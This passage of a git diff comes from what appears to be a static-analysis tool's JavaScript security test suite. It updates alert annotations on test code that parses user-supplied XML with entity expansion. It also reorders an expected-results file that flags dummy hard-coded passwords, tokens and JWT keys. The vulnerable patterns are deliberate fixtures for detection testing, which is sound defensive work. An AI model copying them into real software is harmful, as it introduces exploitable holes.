+  parser.parseString(req.param("some-xml")); // $ Alert - the SAX parser expands external entities by default
 });
diff --git a/javascript/ql/test/query-tests/Security/CWE-776/libxml.saxpush.js b/javascript/ql/test/query-tests/Security/CWE-776/libxml.saxpush.js
index 5b5fef8a6aef..2fc4afc8ce47 100644
--- a/javascript/ql/test/query-tests/Security/CWE-776/libxml.saxpush.js
+++ b/javascript/ql/test/query-tests/Security/CWE-776/libxml.saxpush.js
@@ -3,5 +3,5 @@ const libxmljs = require('libxmljs');
 
 express().get('/some/path', function(req) {
   const parser = new libxmljs.SaxPushParser();
-  parser.push(req.param("some-xml")); // NOT OK: the SAX parser expands external entities by default
+  parser.push(req.param("some-xml")); // $ Alert - the SAX parser expands external entities by default
 });
diff --git a/javascript/ql/test/query-tests/Security/CWE-798/HardcodedCredentials.expected b/javascript/ql/test/query-tests/Security/CWE-798/HardcodedCredentials.expected
index ed9dd70a8906..d2da5f21b3cd 100644
--- a/javascript/ql/test/query-tests/Security/CWE-798/HardcodedCredentials.expected
+++ b/javascript/ql/test/query-tests/Security/CWE-798/HardcodedCredentials.expected
@@ -1,3 +1,82 @@
+#select
+| HardcodedCredentials.js:5:15:5:22 | 'dbuser' | HardcodedCredentials.js:5:15:5:22 | 'dbuser' | HardcodedCredentials.js:5:15:5:22 | 'dbuser' | The hard-coded value "dbuser" is used as $@. | HardcodedCredentials.js:5:15:5:22 | 'dbuser' | user name |
+| HardcodedCredentials.js:8:19:8:28 | 'hgfedcba' | HardcodedCredentials.js:8:19:8:28 | 'hgfedcba' | HardcodedCredentials.js:8:19:8:28 | 'hgfedcba' | The hard-coded value "hgfedcba" is used as $@. | HardcodedCredentials.js:8:19:8:28 | 'hgfedcba' | password |
+| HardcodedCredentials.js:27:25:27:31 | 'admin' | HardcodedCredentials.js:27:25:27:31 | 'admin' | HardcodedCredentials.js:27:25:27:31 | 'admin' | The hard-coded value "admin" is used as $@. | HardcodedCredentials.js:27:25:27:31 | 'admin' | user name |
+| HardcodedCredentials.js:27:34:27:43 | 'hgfedcba' | HardcodedCredentials.js:27:34:27:43 | 'hgfedcba' | HardcodedCredentials.js:27:34:27:43 | 'hgfedcba' | The hard-coded value "hgfedcba" is used as $@. | HardcodedCredentials.js:27:34:27:43 | 'hgfedcba' | password |
+| HardcodedCredentials.js:29:11:29:30 | 'unknown-admin-name' | HardcodedCredentials.js:29:11:29:30 | 'unknown-admin-name' | HardcodedCredentials.js:29:11:29:30 | 'unknown-admin-name' | The hard-coded value "unknown-admin-name" is used as $@. | HardcodedCredentials.js:29:11:29:30 | 'unknown-admin-name' | user name |
+| HardcodedCredentials.js:29:35:29:44 | 'hgfedcba' | HardcodedCredentials.js:29:35:29:44 | 'hgfedcba' | HardcodedCredentials.js:29:35:29:44 | 'hgfedcba' | The hard-coded value "hgfedcba" is used as $@. | HardcodedCredentials.js:29:35:29:44 | 'hgfedcba' | password |
+| HardcodedCredentials.js:35:15:35:24 | 'username' | HardcodedCredentials.js:35:15:35:24 | 'username' | HardcodedCredentials.js:35:15:35:24 | 'username' | The hard-coded value "username" is used as $@. | HardcodedCredentials.js:35:15:35:24 | 'username' | user name |
+| HardcodedCredentials.js:35:27:35:36 | 'hgfedcba' | HardcodedCredentials.js:35:27:35:36 | 'hgfedcba' | HardcodedCredentials.js:35:27:35:36 | 'hgfedcba' | The hard-coded value "hgfedcba" is used as $@. | HardcodedCredentials.js:35:27:35:36 | 'hgfedcba' | password |
+| HardcodedCredentials.js:41:38:41:47 | 'username' | HardcodedCredentials.js:41:38:41:47 | 'username' | HardcodedCredentials.js:41:38:41:47 | 'username' | The hard-coded value "username" is used as $@. | HardcodedCredentials.js:41:38:41:47 | 'username' | user name |
+| HardcodedCredentials.js:41:67:41:76 | 'hgfedcba' | HardcodedCredentials.js:41:67:41:76 | 'hgfedcba' | HardcodedCredentials.js:41:67:41:76 | 'hgfedcba' | The hard-coded value "hgfedcba" is used as $@. | HardcodedCredentials.js:41:67:41:76 | 'hgfedcba' | password |
+| HardcodedCredentials.js:42:35:42:44 | 'username' | HardcodedCredentials.js:42:35:42:44 | 'username' | HardcodedCredentials.js:42:35:42:44 | 'username' | The hard-coded value "username" is used as $@. | HardcodedCredentials.js:42:35:42:44 | 'username' | user name |
+| HardcodedCredentials.js:42:64:42:73 | 'hgfedcba' | HardcodedCredentials.js:42:64:42:73 | 'hgfedcba' | HardcodedCredentials.js:42:64:42:73 | 'hgfedcba' | The hard-coded value "hgfedcba" is used as $@. | HardcodedCredentials.js:42:64:42:73 | 'hgfedcba' | password |
+| HardcodedCredentials.js:44:34:44:43 | 'username' | HardcodedCredentials.js:44:34:44:43 | 'username' | HardcodedCredentials.js:44:34:44:43 | 'username' | The hard-coded value "username" is used as $@. | HardcodedCredentials.js:44:34:44:43 | 'username' | user name |
+| HardcodedCredentials.js:44:63:44:72 | 'hgfedcba' | HardcodedCredentials.js:44:63:44:72 | 'hgfedcba' | HardcodedCredentials.js:44:63:44:72 | 'hgfedcba' | The hard-coded value "hgfedcba" is used as $@. | HardcodedCredentials.js:44:63:44:72 | 'hgfedcba' | password |
+| HardcodedCredentials.js:46:25:46:34 | 'hgfedcba' | HardcodedCredentials.js:46:25:46:34 | 'hgfedcba' | HardcodedCredentials.js:46:25:46:34 | 'hgfedcba' | The hard-coded value "hgfedcba" is used as $@. | HardcodedCredentials.js:46:25:46:34 | 'hgfedcba' | password |
+| HardcodedCredentials.js:53:27:53:36 | 'username' | HardcodedCredentials.js:53:27:53:36 | 'username' | HardcodedCredentials.js:53:27:53:36 | 'username' | The hard-coded value "username" is used as $@. | HardcodedCredentials.js:53:27:53:36 | 'username' | user name |
+| HardcodedCredentials.js:53:39:53:48 | 'hgfedcba' | HardcodedCredentials.js:53:39:53:48 | 'hgfedcba' | HardcodedCredentials.js:53:39:53:48 | 'hgfedcba' | The hard-coded value "hgfedcba" is used as $@. | HardcodedCredentials.js:53:39:53:48 | 'hgfedcba' | password |
+| HardcodedCredentials.js:56:21:56:30 | 'username' | HardcodedCredentials.js:56:21:56:30 | 'username' | HardcodedCredentials.js:56:21:56:30 | 'username' | The hard-coded value "username" is used as $@. | HardcodedCredentials.js:56:21:56:30 | 'username' | user name |
+| HardcodedCredentials.js:57:21:57:30 | 'hgfedcba' | HardcodedCredentials.js:57:21:57:30 | 'hgfedcba' | HardcodedCredentials.js:57:21:57:30 | 'hgfedcba' | The hard-coded value "hgfedcba" is used as $@. | HardcodedCredentials.js:57:21:57:30 | 'hgfedcba' | password |
+| HardcodedCredentials.js:61:42:61:54 | 'bearerToken' | HardcodedCredentials.js:61:42:61:54 | 'bearerToken' | HardcodedCredentials.js:61:42:61:54 | 'bearerToken' | The hard-coded value "bearerToken" is used as $@. | HardcodedCredentials.js:61:42:61:54 | 'bearerToken' | token |
+| HardcodedCredentials.js:65:23:65:35 | 'bearerToken' | HardcodedCredentials.js:65:23:65:35 | 'bearerToken' | HardcodedCredentials.js:65:23:65:35 | 'bearerToken' | The hard-coded value "bearerToken" is used as $@. | HardcodedCredentials.js:65:23:65:35 | 'bearerToken' | token |
+| HardcodedCredentials.js:69:28:69:37 | 'username' | HardcodedCredentials.js:69:28:69:37 | 'username' | HardcodedCredentials.js:69:28:69:37 | 'username' | The hard-coded value "username" is used as $@. | HardcodedCredentials.js:69:28:69:37 | 'username' | user name |
+| HardcodedCredentials.js:69:40:69:49 | 'hgfedcba' | HardcodedCredentials.js:69:40:69:49 | 'hgfedcba' | HardcodedCredentials.js:69:40:69:49 | 'hgfedcba' | The hard-coded value "hgfedcba" is used as $@. | HardcodedCredentials.js:69:40:69:49 | 'hgfedcba' | password |
+| HardcodedCredentials.js:70:28:70:37 | 'username' | HardcodedCredentials.js:70:28:70:37 | 'username' | HardcodedCredentials.js:70:28:70:37 | 'username' | The hard-coded value "username" is used as $@. | HardcodedCredentials.js:70:28:70:37 | 'username' | user name |
+| HardcodedCredentials.js:70:40:70:49 | 'hgfedcba' | HardcodedCredentials.js:70:40:70:49 | 'hgfedcba' | HardcodedCredentials.js:70:40:70:49 | 'hgfedcba' | The hard-coded value "hgfedcba" is used as $@. | HardcodedCredentials.js:70:40:70:49 | 'hgfedcba' | password |
+| HardcodedCredentials.js:72:23:72:32 | 'username' | HardcodedCredentials.js:72:23:72:32 | 'username' | HardcodedCredentials.js:72:23:72:32 | 'username' | The hard-coded value "username" is used as $@. | HardcodedCredentials.js:72:23:72:32 | 'username' | user name |
+| HardcodedCredentials.js:72:35:72:44 | 'hgfedcba' | HardcodedCredentials.js:72:35:72:44 | 'hgfedcba' | HardcodedCredentials.js:72:35:72:44 | 'hgfedcba' | The hard-coded value "hgfedcba" is used as $@. | HardcodedCredentials.js:72:35:72:44 | 'hgfedcba' | password |
+| HardcodedCredentials.js:75:21:75:30 | 'username' | HardcodedCredentials.js:75:21:75:30 | 'username' | HardcodedCredentials.js:75:21:75:30 | 'username' | The hard-coded value "username" is used as $@. | HardcodedCredentials.js:75:21:75:30 | 'username' | user name |
+| HardcodedCredentials.js:76:21:76:30 | 'hgfedcba' | HardcodedCredentials.js:76:21:76:30 | 'hgfedcba' | HardcodedCredentials.js:76:21:76:30 | 'hgfedcba' | The hard-coded value "hgfedcba" is used as $@. | HardcodedCredentials.js:76:21:76:30 | 'hgfedcba' | password |
+| HardcodedCredentials.js:84:38:84:47 | 'username' | HardcodedCredentials.js:84:38:84:47 | 'username' | HardcodedCredentials.js:84:38:84:47 | 'username' | The hard-coded value "username" is used as $@. | HardcodedCredentials.js:84:38:84:47 | 'username' | user name |
+| HardcodedCredentials.js:84:50:84:59 | 'hgfedcba' | HardcodedCredentials.js:84:50:84:59 | 'hgfedcba' | HardcodedCredentials.js:84:50:84:59 | 'hgfedcba' | The hard-coded value "hgfedcba" is used as $@. | HardcodedCredentials.js:84:50:84:59 | 'hgfedcba' | password |
+| HardcodedCredentials.js:86:44:86:53 | 'username' | HardcodedCredentials.js:86:44:86:53 | 'username' | HardcodedCredentials.js:86:44:86:53 | 'username' | The hard-coded value "username" is used as $@. | HardcodedCredentials.js:86:44:86:53 | 'username' | user name |
+| HardcodedCredentials.js:86:56:86:65 | 'hgfedcba' | HardcodedCredentials.js:86:56:86:65 | 'hgfedcba' | HardcodedCredentials.js:86:56:86:65 | 'hgfedcba' | The hard-coded value "hgfedcba" is used as $@. | HardcodedCredentials.js:86:56:86:65 | 'hgfedcba' | password |
+| HardcodedCredentials.js:91:25:91:31 | 'TOKEN' | HardcodedCredentials.js:91:25:91:31 | 'TOKEN' | HardcodedCredentials.js:91:25:91:31 | 'TOKEN' | The hard-coded value "TOKEN" is used as $@. | HardcodedCredentials.js:91:25:91:31 | 'TOKEN' | token |
+| HardcodedCredentials.js:98:18:98:21 | 'x1' | HardcodedCredentials.js:98:18:98:21 | 'x1' | HardcodedCredentials.js:98:18:98:21 | 'x1' | The hard-coded value "x1" is used as $@. | HardcodedCredentials.js:98:18:98:21 | 'x1' | user name |
+| HardcodedCredentials.js:99:16:99:19 | 'x2' | HardcodedCredentials.js:99:16:99:19 | 'x2' | HardcodedCredentials.js:99:16:99:19 | 'x2' | The hard-coded value "x2" is used as $@. | HardcodedCredentials.js:99:16:99:19 | 'x2' | user name |
+| HardcodedCredentials.js:100:25:100:28 | 'x3' | HardcodedCredentials.js:100:25:100:28 | 'x3' | HardcodedCredentials.js:100:25:100:28 | 'x3' | The hard-coded value "x3" is used as $@. | HardcodedCredentials.js:100:25:100:28 | 'x3' | user name |
+| HardcodedCredentials.js:101:19:101:22 | 'x4' | HardcodedCredentials.js:101:19:101:22 | 'x4' | HardcodedCredentials.js:101:19:101:22 | 'x4' | The hard-coded value "x4" is used as $@. | HardcodedCredentials.js:101:19:101:22 | 'x4' | user name |
+| HardcodedCredentials.js:102:14:102:23 | 'hgfedcba' | HardcodedCredentials.js:102:14:102:23 | 'hgfedcba' | HardcodedCredentials.js:102:14:102:23 | 'hgfedcba' | The hard-coded value "hgfedcba" is used as $@. | HardcodedCredentials.js:102:14:102:23 | 'hgfedcba' | password |
+| HardcodedCredentials.js:103:17:103:26 | 'hgfedcba' | HardcodedCredentials.js:103:17:103:26 | 'hgfedcba' | HardcodedCredentials.js:103:17:103:26 | 'hgfedcba' | The hard-coded value "hgfedcba" is used as $@. | HardcodedCredentials.js:103:17:103:26 | 'hgfedcba' | password |
+| HardcodedCredentials.js:104:27:104:36 | 'hgfedcba' | HardcodedCredentials.js:104:27:104:36 | 'hgfedcba' | HardcodedCredentials.js:104:27:104:36 | 'hgfedcba' | The hard-coded value "hgfedcba" is used as $@. | HardcodedCredentials.js:104:27:104:36 | 'hgfedcba' | password |
+| HardcodedCredentials.js:105:19:105:28 | 'hgfedcba' | HardcodedCredentials.js:105:19:105:28 | 'hgfedcba' | HardcodedCredentials.js:105:19:105:28 | 'hgfedcba' | The hard-coded value "hgfedcba" is used as $@. | HardcodedCredentials.js:105:19:105:28 | 'hgfedcba' | password |
+| HardcodedCredentials.js:106:16:106:25 | 'hgfedcba' | HardcodedCredentials.js:106:16:106:25 | 'hgfedcba' | HardcodedCredentials.js:106:16:106:25 | 'hgfedcba' | The hard-coded value "hgfedcba" is used as $@. | HardcodedCredentials.js:106:16:106:25 | 'hgfedcba' | token |
+| HardcodedCredentials.js:112:19:112:22 | 'x5' | HardcodedCredentials.js:112:19:112:22 | 'x5' | HardcodedCredentials.js:112:19:112:22 | 'x5' | The hard-coded value "x5" is used as $@. | HardcodedCredentials.js:112:19:112:22 | 'x5' | user name |
+| HardcodedCredentials.js:113:19:113:28 | 'hgfedcba' | HardcodedCredentials.js:113:19:113:28 | 'hgfedcba' | HardcodedCredentials.js:113:19:113:28 | 'hgfedcba' | The hard-coded value "hgfedcba" is used as $@. | HardcodedCredentials.js:113:19:113:28 | 'hgfedcba' | password |
+| HardcodedCredentials.js:130:44:130:53 | 'hgfedcba' | HardcodedCredentials.js:130:44:130:53 | 'hgfedcba' | HardcodedCredentials.js:130:44:130:53 | 'hgfedcba' | The hard-coded value "hgfedcba" is used as $@. | HardcodedCredentials.js:130:44:130:53 | 'hgfedcba' | key |
+| HardcodedCredentials.js:131:52:131:61 | 'hgfedcba' | HardcodedCredentials.js:131:52:131:61 | 'hgfedcba' | HardcodedCredentials.js:131:52:131:61 | 'hgfedcba' | The hard-coded value "hgfedcba" is used as $@. | HardcodedCredentials.js:131:52:131:61 | 'hgfedcba' | key |
+| HardcodedCredentials.js:135:41:135:50 | "hgfedcba" | HardcodedCredentials.js:135:41:135:50 | "hgfedcba" | HardcodedCredentials.js:135:41:135:50 | "hgfedcba" | The hard-coded value "hgfedcba" is used as $@. | HardcodedCredentials.js:135:41:135:50 | "hgfedcba" | key |
+| HardcodedCredentials.js:160:38:160:56 | "oiuneawrgiyubaegr" | HardcodedCredentials.js:160:38:160:56 | "oiuneawrgiyubaegr" | HardcodedCredentials.js:160:38:160:56 | "oiuneawrgiyubaegr" | The hard-coded value "oiuneawrgiyubaegr" is used as $@. | HardcodedCredentials.js:160:38:160:56 | "oiuneawrgiyubaegr" | key |
+| HardcodedCredentials.js:161:41:161:59 | 'oiuneawrgiyubaegr' | HardcodedCredentials.js:161:41:161:59 | 'oiuneawrgiyubaegr' | HardcodedCredentials.js:161:41:161:59 | 'oiuneawrgiyubaegr' | The hard-coded value "oiuneawrgiyubaegr" is used as $@. | HardcodedCredentials.js:161:41:161:59 | 'oiuneawrgiyubaegr' | key |
+| HardcodedCredentials.js:171:18:171:25 | 'sdsdag' | HardcodedCredentials.js:171:18:171:25 | 'sdsdag' | HardcodedCredentials.js:178:30:178:44 | `Basic ${AUTH}` | The hard-coded value "sdsdag" is used as $@. | HardcodedCredentials.js:178:30:178:44 | `Basic ${AUTH}` | authorization header |
+| HardcodedCredentials.js:171:18:171:25 | 'sdsdag' | HardcodedCredentials.js:171:18:171:25 | 'sdsdag' | HardcodedCredentials.js:188:30:188:44 | `Basic ${AUTH}` | The hard-coded value "sdsdag" is used as $@. | HardcodedCredentials.js:188:30:188:44 | `Basic ${AUTH}` | authorization header |
+| HardcodedCredentials.js:171:18:171:25 | 'sdsdag' | HardcodedCredentials.js:171:18:171:25 | 'sdsdag' | HardcodedCredentials.js:195:37:195:51 | `Basic ${AUTH}` | The hard-coded value "sdsdag" is used as $@. | HardcodedCredentials.js:195:37:195:51 | `Basic ${AUTH}` | authorization header |
+| HardcodedCredentials.js:171:18:171:25 | 'sdsdag' | HardcodedCredentials.js:171:18:171:25 | 'sdsdag' | HardcodedCredentials.js:204:35:204:49 | `Basic ${AUTH}` | The hard-coded value "sdsdag" is used as $@. | HardcodedCredentials.js:204:35:204:49 | `Basic ${AUTH}` | authorization header |
+| HardcodedCredentials.js:172:18:172:25 | 'sdsdag' | HardcodedCredentials.js:172:18:172:25 | 'sdsdag' | HardcodedCredentials.js:178:30:178:44 | `Basic ${AUTH}` | The hard-coded value "sdsdag" is used as $@. | HardcodedCredentials.js:178:30:178:44 | `Basic ${AUTH}` | authorization header |
+| HardcodedCredentials.js:172:18:172:25 | 'sdsdag' | HardcodedCredentials.js:172:18:172:25 | 'sdsdag' | HardcodedCredentials.js:188:30:188:44 | `Basic ${AUTH}` | The hard-coded value "sdsdag" is used as $@. | HardcodedCredentials.js:188:30:188:44 | `Basic ${AUTH}` | authorization header |
+| HardcodedCredentials.js:172:18:172:25 | 'sdsdag' | HardcodedCredentials.js:172:18:172:25 | 'sdsdag' | HardcodedCredentials.js:195:37:195:51 | `Basic ${AUTH}` | The hard-coded value "sdsdag" is used as $@. | HardcodedCredentials.js:195:37:195:51 | `Basic ${AUTH}` | authorization header |
+| HardcodedCredentials.js:172:18:172:25 | 'sdsdag' | HardcodedCredentials.js:172:18:172:25 | 'sdsdag' | HardcodedCredentials.js:204:35:204:49 | `Basic ${AUTH}` | The hard-coded value "sdsdag" is used as $@. | HardcodedCredentials.js:204:35:204:49 | `Basic ${AUTH}` | authorization header |
+| HardcodedCredentials.js:214:18:214:25 | 'sdsdag' | HardcodedCredentials.js:214:18:214:25 | 'sdsdag' | HardcodedCredentials.js:221:37:221:51 | `Basic ${AUTH}` | The hard-coded value "sdsdag" is used as $@. | HardcodedCredentials.js:221:37:221:51 | `Basic ${AUTH}` | authorization header |
+| HardcodedCredentials.js:215:18:215:25 | 'sdsdag' | HardcodedCredentials.js:215:18:215:25 | 'sdsdag' | HardcodedCredentials.js:221:37:221:51 | `Basic ${AUTH}` | The hard-coded value "sdsdag" is used as $@. | HardcodedCredentials.js:221:37:221:51 | `Basic ${AUTH}` | authorization header |
+| HardcodedCredentials.js:231:22:231:29 | 'sdsdag' | HardcodedCredentials.js:231:22:231:29 | 'sdsdag' | HardcodedCredentials.js:237:24:237:91 | 'Basic  ... ase64') | The hard-coded value "sdsdag" is used as $@. | HardcodedCredentials.js:237:24:237:91 | 'Basic  ... ase64') | authorization header |
+| HardcodedCredentials.js:245:22:245:44 | "myHard ... ateKey" | HardcodedCredentials.js:245:22:245:44 | "myHard ... ateKey" | HardcodedCredentials.js:246:42:246:51 | privateKey | The hard-coded value "myHardCodedPrivateKey" is used as $@. | HardcodedCredentials.js:246:42:246:51 | privateKey | jwt key |
+| HardcodedCredentials.js:248:21:248:42 | "myHard ... licKey" | HardcodedCredentials.js:248:21:248:42 | "myHard ... licKey" | HardcodedCredentials.js:249:23:249:31 | publicKey | The hard-coded value "myHardCodedPublicKey" is used as $@. | HardcodedCredentials.js:249:23:249:31 | publicKey | jwt key |
+| HardcodedCredentials.js:292:37:292:57 | `Basic  ... sdsdag` | HardcodedCredentials.js:292:37:292:57 | `Basic  ... sdsdag` | HardcodedCredentials.js:292:37:292:57 | `Basic  ... sdsdag` | The hard-coded value "Basic sdsdag:sdsdag" is used as $@. | HardcodedCredentials.js:292:37:292:57 | `Basic  ... sdsdag` | authorization header |
+| HardcodedCredentials.js:294:37:294:70 | `Basic  ... gbbbbb` | HardcodedCredentials.js:294:37:294:70 | `Basic  ... gbbbbb` | HardcodedCredentials.js:294:37:294:70 | `Basic  ... gbbbbb` | The hard-coded value "Basic sdsdag:aaaiuogrweuibgbbbbb" is used as $@. | HardcodedCredentials.js:294:37:294:70 | `Basic  ... gbbbbb` | authorization header |
+| HardcodedCredentials.js:302:44:302:69 | 'iubfew ... ybgera' | HardcodedCredentials.js:302:44:302:69 | 'iubfew ... ybgera' | HardcodedCredentials.js:302:44:302:69 | 'iubfew ... ybgera' | The hard-coded value "iubfewiaaweiybgaeuybgera" is used as $@. | HardcodedCredentials.js:302:44:302:69 | 'iubfew ... ybgera' | key |
+| HardcodedCredentials.js:308:22:308:44 | "myHard ... ateKey" | HardcodedCredentials.js:308:22:308:44 | "myHard ... ateKey" | HardcodedCredentials.js:309:34:309:43 | privateKey | The hard-coded value "myHardCodedPrivateKey" is used as $@. | HardcodedCredentials.js:309:34:309:43 | privateKey | jwt key |
+| HardcodedCredentials.js:316:22:316:44 | "myHard ... ateKey" | HardcodedCredentials.js:316:22:316:44 | "myHard ... ateKey" | HardcodedCredentials.js:317:27:317:62 | new Tex ... ateKey) | The hard-coded value "myHardCodedPrivateKey" is used as $@. | HardcodedCredentials.js:317:27:317:62 | new Tex ... ateKey) | jwt key |
+| HardcodedCredentials.js:319:18:321:29 | `-----B ... Y-----` | HardcodedCredentials.js:319:18:321:29 | `-----B ... Y-----` | HardcodedCredentials.js:323:27:323:35 | publicKey | The hard-coded value "-----BEGIN PUBLIC KEY-----\n    MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAwhYOFK2Ocbbpb/zVypi9...\n    -----END PUBLIC KEY-----" is used as $@. | HardcodedCredentials.js:323:27:323:35 | publicKey | jwt key |
+| HardcodedCredentials.js:328:12:328:55 | 'whYOFK ... -6f...' | HardcodedCredentials.js:328:12:328:55 | 'whYOFK ... -6f...' | HardcodedCredentials.js:335:31:335:39 | publicKey | The hard-coded value "whYOFK2Ocbbpb_zVypi9SeKiNUqKQH0zTKN1-6f..." is used as $@. | HardcodedCredentials.js:335:31:335:39 | publicKey | jwt key |
+| HardcodedCredentials.js:344:21:344:43 | "myHard ... ateKey" | HardcodedCredentials.js:344:21:344:43 | "myHard ... ateKey" | HardcodedCredentials.js:349:21:349:29 | secretKey | The hard-coded value "myHardCodedPrivateKey" is used as $@. | HardcodedCredentials.js:349:21:349:29 | secretKey | jwt key |
+| HardcodedCredentials.js:344:21:344:43 | "myHard ... ateKey" | HardcodedCredentials.js:344:21:344:43 | "myHard ... ateKey" | HardcodedCredentials.js:360:21:360:52 | Buffer. ... ase64") | The hard-coded value "myHardCodedPrivateKey" is used as $@. | HardcodedCredentials.js:360:21:360:52 | Buffer. ... ase64") | jwt key |
+| HardcodedCredentials.js:375:21:375:43 | "myHard ... ateKey" | HardcodedCredentials.js:375:21:375:43 | "myHard ... ateKey" | HardcodedCredentials.js:378:24:378:32 | secretKey | The hard-coded value "myHardCodedPrivateKey" is used as $@. | HardcodedCredentials.js:378:24:378:32 | secretKey | jwt key |
+| HardcodedCredentials.js:375:21:375:43 | "myHard ... ateKey" | HardcodedCredentials.js:375:21:375:43 | "myHard ... ateKey" | HardcodedCredentials.js:385:31:385:39 | secretKey | The hard-coded value "myHardCodedPrivateKey" is used as $@. | HardcodedCredentials.js:385:31:385:39 | secretKey | jwt key |
+| HardcodedCredentials.js:396:21:396:43 | "myHard ... ateKey" | HardcodedCredentials.js:396:21:396:43 | "myHard ... ateKey" | HardcodedCredentials.js:399:17:399:25 | secretKey | The hard-coded value "myHardCodedPrivateKey" is used as $@. | HardcodedCredentials.js:399:17:399:25 | secretKey | jwt key |
+| HardcodedCredentials.js:414:21:414:43 | "myHard ... ateKey" | HardcodedCredentials.js:414:21:414:43 | "myHard ... ateKey" | HardcodedCredentials.js:416:27:416:35 | secretKey | The hard-coded value "myHardCodedPrivateKey" is used as $@. | HardcodedCredentials.js:416:27:416:35 | secretKey | jwt key |
+| __tests__/HardcodedCredentialsDemo.js:5:15:5:22 | 'dbuser' | __tests__/HardcodedCredentialsDemo.js:5:15:5:22 | 'dbuser' | __tests__/HardcodedCredentialsDemo.js:5:15:5:22 | 'dbuser' | The hard-coded value "dbuser" is used as $@. | __tests__/HardcodedCredentialsDemo.js:5:15:5:22 | 'dbuser' | user name |
+| __tests__/HardcodedCredentialsDemo.js:8:19:8:28 | 'hgfedcba' | __tests__/HardcodedCredentialsDemo.js:8:19:8:28 | 'hgfedcba' | __tests__/HardcodedCredentialsDemo.js:8:19:8:28 | 'hgfedcba' | The hard-coded value "hgfedcba" is used as $@. | __tests__/HardcodedCredentialsDemo.js:8:19:8:28 | 'hgfedcba' | password |
 edges
 | HardcodedCredentials.js:18:16:18:30 | "user:hgfedcba" | HardcodedCredentials.js:20:36:20:51 | getCredentials() | provenance |  |
 | HardcodedCredentials.js:171:11:171:25 | USER | HardcodedCredentials.js:173:35:173:38 | USER | provenance |  |
@@ -221,82 +300,3 @@ nodes
 | __tests__/HardcodedCredentialsDemo.js:5:15:5:22 | 'dbuser' | semmle.label | 'dbuser' |
 | __tests__/HardcodedCredentialsDemo.js:8:19:8:28 | 'hgfedcba' | semmle.label | 'hgfedcba' |
 subpaths
-#select
-| HardcodedCredentials.js:5:15:5:22 | 'dbuser' | HardcodedCredentials.js:5:15:5:22 | 'dbuser' | HardcodedCredentials.js:5:15:5:22 | 'dbuser' | The hard-coded value "dbuser" is used as $@. | HardcodedCredentials.js:5:15:5:22 | 'dbuser' | user name |
-| HardcodedCredentials.js:8:19:8:28 | 'hgfedcba' | HardcodedCredentials.js:8:19:8:28 | 'hgfedcba' | HardcodedCredentials.js:8:19:8:28 | 'hgfedcba' | The hard-coded value "hgfedcba" is used as $@. | HardcodedCredentials.js:8:19:8:28 | 'hgfedcba' | password |
-| HardcodedCredentials.js:27:25:27:31 | 'admin' | HardcodedCredentials.js:27:25:27:31 | 'admin' | HardcodedCredentials.js:27:25:27:31 | 'admin' | The hard-coded value "admin" is used as $@. | HardcodedCredentials.js:27:25:27:31 | 'admin' | user name |
-| HardcodedCredentials.js:27:34:27:43 | 'hgfedcba' | HardcodedCredentials.js:27:34:27:43 | 'hgfedcba' | HardcodedCredentials.js:27:34:27:43 | 'hgfedcba' | The hard-coded value "hgfedcba" is used as $@. | HardcodedCredentials.js:27:34:27:43 | 'hgfedcba' | password |
-| HardcodedCredentials.js:29:11:29:30 | 'unknown-admin-name' | HardcodedCredentials.js:29:11:29:30 | 'unknown-admin-name' | HardcodedCredentials.js:29:11:29:30 | 'unknown-admin-name' | The hard-coded value "unknown-admin-name" is used as $@. | HardcodedCredentials.js:29:11:29:30 | 'unknown-admin-name' | user name |
-| HardcodedCredentials.js:29:35:29:44 | 'hgfedcba' | HardcodedCredentials.js:29:35:29:44 | 'hgfedcba' | HardcodedCredentials.js:29:35:29:44 | 'hgfedcba' | The hard-coded value "hgfedcba" is used as $@. | HardcodedCredentials.js:29:35:29:44 | 'hgfedcba' | password |
-| HardcodedCredentials.js:35:15:35:24 | 'username' | HardcodedCredentials.js:35:15:35:24 | 'username' | HardcodedCredentials.js:35:15:35:24 | 'username' | The hard-coded value "username" is used as $@. | HardcodedCredentials.js:35:15:35:24 | 'username' | user name |
-| HardcodedCredentials.js:35:27:35:36 | 'hgfedcba' | HardcodedCredentials.js:35:27:35:36 | 'hgfedcba' | HardcodedCredentials.js:35:27:35:36 | 'hgfedcba' | The hard-coded value "hgfedcba" is used as $@. | HardcodedCredentials.js:35:27:35:36 | 'hgfedcba' | password |
-| HardcodedCredentials.js:41:38:41:47 | 'username' | HardcodedCredentials.js:41:38:41:47 | 'username' | HardcodedCredentials.js:41:38:41:47 | 'username' | The hard-coded value "username" is used as $@. | HardcodedCredentials.js:41:38:41:47 | 'username' | user name |
-| HardcodedCredentials.js:41:67:41:76 | 'hgfedcba' | HardcodedCredentials.js:41:67:41:76 | 'hgfedcba' | HardcodedCredentials.js:41:67:41:76 | 'hgfedcba' | The hard-coded value "hgfedcba" is used as $@. | HardcodedCredentials.js:41:67:41:76 | 'hgfedcba' | password |
-| HardcodedCredentials.js:42:35:42:44 | 'username' | HardcodedCredentials.js:42:35:42:44 | 'username' | HardcodedCredentials.js:42:35:42:44 | 'username' | The hard-coded value "username" is used as $@. | HardcodedCredentials.js:42:35:42:44 | 'username' | user name |
-| HardcodedCredentials.js:42:64:42:73 | 'hgfedcba' | HardcodedCredentials.js:42:64:42:73 | 'hgfedcba' | HardcodedCredentials.js:42:64:42:73 | 'hgfedcba' | The hard-coded value "hgfedcba" is used as $@. | HardcodedCredentials.js:42:64:42:73 | 'hgfedcba' | password |
-| HardcodedCredentials.js:44:34:44:43 | 'username' | HardcodedCredentials.js:44:34:44:43 | 'username' | HardcodedCredentials.js:44:34:44:43 | 'username' | The hard-coded value "username" is used as $@. | HardcodedCredentials.js:44:34:44:43 | 'username' | user name |
-| HardcodedCredentials.js:44:63:44:72 | 'hgfedcba' | HardcodedCredentials.js:44:63:44:72 | 'hgfedcba' | HardcodedCredentials.js:44:63:44:72 | 'hgfedcba' | The hard-coded value "hgfedcba" is used as $@. | HardcodedCredentials.js:44:63:44:72 | 'hgfedcba' | password |
-| HardcodedCredentials.js:46:25:46:34 | 'hgfedcba' | HardcodedCredentials.js:46:25:46:34 | 'hgfedcba' | HardcodedCredentials.js:46:25:46:34 | 'hgfedcba' | The hard-coded value "hgfedcba" is used as $@. | HardcodedCredentials.js:46:25:46:34 | 'hgfedcba' | password |
-| HardcodedCredentials.js:53:27:53:36 | 'username' | HardcodedCredentials.js:53:27:53:36 | 'username' | HardcodedCredentials.js:53:27:53:36 | 'username' | The hard-coded value "username" is used as $@. | HardcodedCredentials.js:53:27:53:36 | 'username' | user name |
